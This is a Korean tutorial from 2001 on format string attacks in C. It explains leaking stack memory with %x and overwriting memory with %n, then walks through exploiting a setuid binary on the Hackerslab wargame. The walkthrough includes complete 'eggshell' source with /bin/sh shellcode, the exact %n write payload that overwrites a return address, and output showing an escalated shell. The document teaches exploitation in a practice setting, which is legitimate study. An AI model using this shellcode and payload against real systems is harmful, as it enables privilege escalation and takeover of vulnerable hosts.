===================================================================================
Title : Format String attack.
Author : 유동훈 (Xpl017Elz)
E-mail : szoahc@hotmail.com
Home: http://x82.i21c.net
Date : f. 2001/4/29 s. 2001/5/10
===================================================================================

작자주: 이 문서는 format string을 공부하는 이들을 위해 제작되었습니다. 
만약, 문서의 내용중 오류가 있다면 szoahc@hotmail.com으로 mail 주시면 감사하겠습니다.

Format string attack 시작 -

==============================================================================
  Source[1]: Format string 이해를 위한 기본 Source.
==============================================================================

main()
{ // Format string attack 기초 source
int i = 3; char a[50];
printf("\n\tInput: "); scanf("%s",a);
printf("\tTest[1]: "); printf("%s \n",a); /* 정상 */
printf("\tTest[2]: "); printf(a); /* 취약 */ printf("\n");
printf("\tTest[3]: 변수 i의 값은 %d이다.\n",i); printf("\t");  printf("Testman~!%n",&i);
printf("\n\t변수 i의 값은 %d가 되었다.\n\n",i);
}

==============================================================================

기본적으로 값을 받아 출력하기 위해선 저장될 변수 및 저장공간등이 필요하다. ( 그림[1] )
printf함수를 출력시 내부의 ("%s %d %c %x")등을 출력하려고 하는 문자의 format string 이라 할수있다.

printf("Testman~! %d %x %s %c \n",a,b,c,d);
                   A         A
                   |_________|  (format string)

결과: Testman~! 40 c74b hey d
( 저장된 변수들이 format string에 의해 불러오게 되었다. )

이 변환문자를 이용할때 즉, format string의 사용으로 printf 함수를 이용시 다음과 같은 Stack 구조를 띤다.

==============================================================================
  그림[1]: Stack의 간단한 구조 
==============================================================================

printf("Testman~!%n",&i); 
[ Return address ] [ Save frame pointer ] [ i ] [ &i ] [ *Format string ]
                               |
                               |---------->  i 라는 변수를 stack frame 에 잡아두고 &i를 Stack에 넣은다음
                                             "Testman~!%n"란 format string을 Stack에 push 한다.

==============================================================================           

값을 나타낼때 문자열을 표시하는 변환문자를 사용하지 않고
곧바로 직접적인 출력을 할경우 입력값에 대한 buffer의 값을 볼수있다.

%x 라는 16진수 문자열출력을 이용하여 Memory 값을 넣을시 입력한 값과 그 위치를 얻을수있다.

==============================================================================
그림[2]: %x 입력과 시스템에 따른 그 결과
==============================================================================

System[1]:

        Input: AAAA%x%x%x%x
        Test[1]: AAAA%x%x%x%x
        Test[2]: AAAA41414141782578257825782540023c00 
        ... 생략 ...

System[2]:

        Input: AAAA%x%x%x%x
        Test[1]: AAAA%x%x%x%x
        Test[2]: AAAA4f4013994040016ab041414141782578
        ... 생략 ...

==============================================================================

나중엔 입력한값이 출력되는 위치에 따라 문자의 갯수를 세고,
철저한 계산을 통해 Memory에 정확한 값을 넣을수 있다. (%n 디렉티브 이용)

이처럼 원하는 특정주소에 값을 알아낼수 있었다.    
하지만 값을 알고 볼수있는것만으로 작업을 할수있는것은 아니다.

위에 말한 %n 디렉티브라는 지시자를 사용하여 알아낸 값, 즉 특정주소의 값을 변경할수 있다.
이는 가히 치명적이다.

============================================================================== 
그림[3]: %n 디렉티브의 이용
=============================================================================

        ... 생략 ...
        Test[3]: 변수 i의 값은 3이다.
        Testman~!
        변수 i의 값은 9가 되었다. 

=============================================================================

그림[3]을 보면 알수있듯이 i의 값이 3이라고 할때 Testman~! 이라는 문자열을 받고 값으로 저장한다. (%n)
i의 값은 9로 변경된다.  그 이유를 알아보자.

i의 값은 T e s t m a n ~ ! <--- 마지막 값은 9가 된다. 문자열이 Test 까지면 i의 값은 4였을것이다.
          1 2 3 4 5 6 7 8 9

다시 말하자면 %n 디렉티브는 저장된 문자열의 수만큼을 값으로 &i에 저장한다.  
자 이제까지 주소값의 변경을 증명하므로써 공격법의 가능성이 드러나게 되었다.

그럼, 이번엔 번지값 계산 및 넣기를 해보자.
위를 보면 %n 디렉티브를 이용해 값이 변경하는것을 배웠다. 임의의 번지값을 넣는 작업은 
공격에 근접했다는 얘기다. 일단 주어지는 번지값을 계산해야 하니 계산기를 준비하는게 좋을듯 하다.

이론적으로 하나씩 계산해 보겠다.

변경하려는 값이 0xbfffec34 라고 놓는다면 먼저 0x부분과 bfff 부분을 제거한후 ec34 값만을 구한다.

e(14) x (16) x (16) x (16) + c(12) x (16) x (16) + (3) x (16) + (4) = 60468 (ec34)

bfff 값을 구하는 방식은 위와 좀다르다.
앞에 정수값 1을 더하여 계산해야 한다.

1bfff = 114687 ; 114687 - 60468 (ec34) = 54219
이렇게 해서 60468 (ec34)와 54219 (쓰이는값: bfff)의 값을 구하였다.
참고로, 위값을 저장시 16bit bfff만 사용하게 된다.

자, 그러면 이 값을 다음 Source에 대입해보자.
이번 Source는 정해진 값을 원하는 임의의 값으로 바꿀수 있게 해준다.
방금 계산해서 나온 60468 (ec34)과 54219 (bfff)를 대입하여 정해져 있던 값을 바꿔보도록 하겠다.

==============================================================================  
Source[2]:  정해져있던 값을 해커가 원하는 임의의 값으로 바꾸는 Source
==============================================================================

main()
{
long a=0x00000060, b=60, c;
printf("%x : %x\n",&a,a);
c=&a; /* 아래 부분에서 &a를 직접적으로 대입하지 않기위해 제3의 값을 대처하여 사용한다. */
printf("%60468d%n%54219d%n\n",b,c,b,c+2); /* bfffec34이 계산되어 나온값 */
printf("%x\n",a);
} 

==============================================================================

%60486d%n%54219%n <--- 이부분은 위에서 나온 0xbfffec34 값이라는걸 알것이다.
%n 디렉티브를 사용하여 a의 값을 bffffd84 로 변경한다.

결과: bffffd84 : 60
           ... 
               ...
                   중략 
                           ...
                               ...
                          
                                     60
         bfffec34         

위에서 첫번째 60은 변경되기전 a의 값이다. 나중에 나온 60은 b의 값인것을 알수있다.
성공한 결과로 bffffd84 값을 bfffec34 값으로 변경하게 되었다.

이로써 기본적인 이론공부는 끝났다.
이제부턴 실전공격에 관한 내용을 다뤄보겠다. 

얼마전에 www.hackerslab.org 의 문제가 level17까지 늘었다고 들었다. 필자의 성격상 
정해져있는 답답한 문제를 풀기 싫어하지만... 해커즈랩 마지막 문제가 format string attack 
문제라고 하니 실전을 연습해보면 좋을듯하다.  

그럼 시작하겠다. 지금부터 약간 골치아파질테니 하나씩 잘봐두길 바란다.
취약점을 공격하는 순서는 대략적으로 다음과 같다.

==============================================================================

1. eggshell을 실행하여 Stack의 일부분에 shellcode를 띄워둔다. 
     (여기까진 오버플로우 기법과 매우 흡사하다.)

2. Return address를 알아낸 부분에 eggshell 실행시 나온 주소(shellcode address)로 overwrite 시킨다.
     (이 부분부터는 기존의 오버플로우 기법과는 다르게 무식하게 찍는 노가다가 없다. 
      뿐만아니라 정확성도 뛰어나다. )

3. Setuid가 붙어있는 프로그램이 Root 권한의 상태로 실행을 하고있다가 overwrite된 
     Return address가 shellcode 를 실행하면서 Root 권한의 shell이 뜨게된다.

==============================================================================

그럼 해커즈랩 마지막문제에서 시험해보도록 하자.  : - )
login: level16
Password:
Last login: Fri May 25 13:00:44 from 211.222.236.39 

[level16@drill tmp]$ find / -perm -4000 -user level17 2> /dev/null -exec ls -al {} \;
-rws--x---   1 level17  level16    963025 Apr 20 13:35 /usr/local/bin/format
[level16@drill tmp]$  
  
단 하나가 나오는것을 보니 이 파일이 취약한것이 분명하다. 파일을 한번 실행해보자.

[level16@drill tmp]$ /usr/local/bin/format
INPUT :        

INPUT 이라고 물어온다. 우리가 예전까지 연습했던 환경 그대로이다. : >
자 AAAA%x%x%x%x 라고 입력해보겠다.

[level16@drill tmp]$ /usr/local/bin/format
INPUT : AAAA%x%x%x%x
OUTPUT : AAAA414141417825782578257825a
&stack is 0xbffffc9c
[level16@drill tmp]$

역시 그렇다. format string 취약점에 노출되있는게 확실해졌다.
입력했던 AAAA의 값 41414141이 OUTPUT 처음부분에 노출되었다. 
이는 일부로 쉽게 문제를 만든 Hackerslab 측의 배려인것 같다.
뿐만아닌 더욱더 충격적인것은 Return address 값까지 출력해주고 있다는 사실이다.

위의 결과는 중요한것이 아니다. eggshell을 띄우고 난후 다시 출력해봐야 정확해질것이다.
그러면 이쯤에서 eggshell의 Source를 공개하겠다. 만약이라도 eggshell Source를 급히 구할일이 
생긴다면 걱정하지 마라. 어디서나 쉽게 구할수 있으리라...

=============================================================================
Source[3]: EGG shell
=============================================================================

#include <stdlib.h>

#define OFFSET 0
#define BUFFER 512
#define EGG 2048
#define NOP 0x90

char shellcode[] = 
"\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89"
"\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
"\x00\xc9\xc3\x90/bin/sh";

unsigned long get_esp(void)
{
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset = OFFSET, buffer = BUFFER;
int i, egg_s = EGG;
if (argc > 1) buffer = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) egg_s = atoi(argv[3]);
if (!(buff = malloc(buffer)))
{
printf("Failed.\n");
exit(0);
}
if (!(egg = malloc(egg_s)))
{
printf("Failed.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i=0;i<buffer;i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i=0;i<egg_s - strlen(shellcode) - 1;i++)
*(ptr++) = NOP;
for (i=0;i<strlen(shellcode);i++)
*(ptr++) = shellcode[i];
buff[buffer - 1] = '\0';
egg[egg_s - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}                                                                              

==============================================================================

C 언어를 할줄 아시는분들은 조금만 살펴보시면 금방 이해할수 있을것이다.
egg shell을 실행하고 다시 취약점이 존재하는 프로그램을 실행시켜 보았다.

[level16@drill tmp]$ ./egg
Using address: 0xbffffd60
[level16@drill tmp]$ /usr/local/bin/format
INPUT : AAAA%x%x%x%x
OUTPUT : AAAA414141417825782578257825a
&stack is 0xbffff29c
[level16@drill tmp]$    

역시나 진짜 Overwrite할 Return address 값이 나왔다.
eggshell을 실행했을때 shellcode가 띄워진 주소도 얻을수 있었다.

그럼 공격을 Test 해보자.
Return address의 위치가 출력되었기 때문에 Return address를 알고있다는 가정하에 시도해보도록 하겠다.
Shellcode가 위치해있는 주소는 0xbffffd60 이며 Return address는 0xbffff29c 이다.
shellcode의 주소는 위에서 계산했던 방식처럼 숫자로 대입하여 정확한 위치를 맞추면 된다.
Return address는 2byte 에 걸쳐 주소값을 넣으면 될것이다.

[level16@drill k]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf%%c%%x%%c%%x";cat) | /usr/local/bin/format     

"\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf"
  | A   A   A   A |--0xbffff29c---| A   A   A   A |--0xbffff29e--|

위의 "\x41\x41..." 부분은 A A... 부분인것을 잘알고 있을것이다.
그 다음부분은 당연히 Return address가 들어가게 될것이다. "\x9c\xf2\xff\xbf" = 0xbffff29c
그후 Return address에 overwrite를 위해 2byte 값을 더 넣는다. "\x9e\xf2\xff\xbf" = 0xbffff29e

"%%c%%x% ..."
   |   |
   |   |=====> 이 부분을 나중에 %n 디렉티브로 대처한다.
   |
   |==> shellcode 주소를 계산한 값을 넣을 부분.

%%를 두번 써준이유는 %를 한번더 넣어줌으로써 바로뒤의 %을 인식시켜주기 때문이다.
그러면 shellcode의 값을 계산하여 나온값을 대입해 보도록하겠다.

f(15) x 16 x 16 x 16 + d(13) x 16 x 16 + 6 x 16 + 0 = 64864

114687 (1bfff) - 64864 (fd60) = 49823    

계산프로그램을 이용하여 값을 구하였다. 64864 (fd60) , 49823 (bfff)
나온 계산값을 정확히 맞추어 넣어야 공격은 성공한다. 그러므로 나온 계산값을 바로 대입하면 아무 소용없다.

"\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf"
  |====== 4 ======|====== 4 ======|====== 4 ======|====== 4 ======|

전부 16(4+4+4+4)의 값이 덮어씌워졌다. 64864 (fd60)의 값에서 이미 16이 사용된 셈이다.
그러면 64864 (fd60)에서 덮어씌워진 값 16을 뺴면 정확한 값이 나올것이다. ( 64864 - 16 = 64848 )
한번 대입해보겠다.

[level16@drill k]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | /usr/local/bin/format 

위를 보면 %%x를 %%n 디렉티브로 변경한것을 알수있다.
이제 Enter를 입력하여 실행해보자.

[level16@drill k]$ (printf "\x41\x41\x41\x41\x9c\xf2\xff\xbf\x41\x41\x41\x41\x9e\xf2\xff\xbf%%64848c%%n%%49823c%%n";cat) | /usr/local/bin/format 

                                       ...
                                            ...                               A

                                                 ...      중략      ...             

                                                          ...                

                                                              ...  

whoami
level17
id
uid=3016(level16) gid=3016(level16) euid=3017(level17) groups=3016(level16) 

정확한 계산에 의해 level16을 pass 하고 level17 권한의 shell을 얻어낼수 있었다.
이 사실로 미루어볼때 Return address 부분의 주소는 0xbffffd60 (shellcode 주소) 값으로 변경되어 overwrite에 성공했을것이다.
그렇다면 이번엔 조금더 한수위인 41 (A)의 값이 처음부분이 아니라 
4byte뒤 두번째부분이나 8byte뒤의 세번째부분, 그 뒤로 상주할경우에 공격을 시도해보자.
물론 리턴어드레스는 직접 구해야 공격이 가능해질것이다.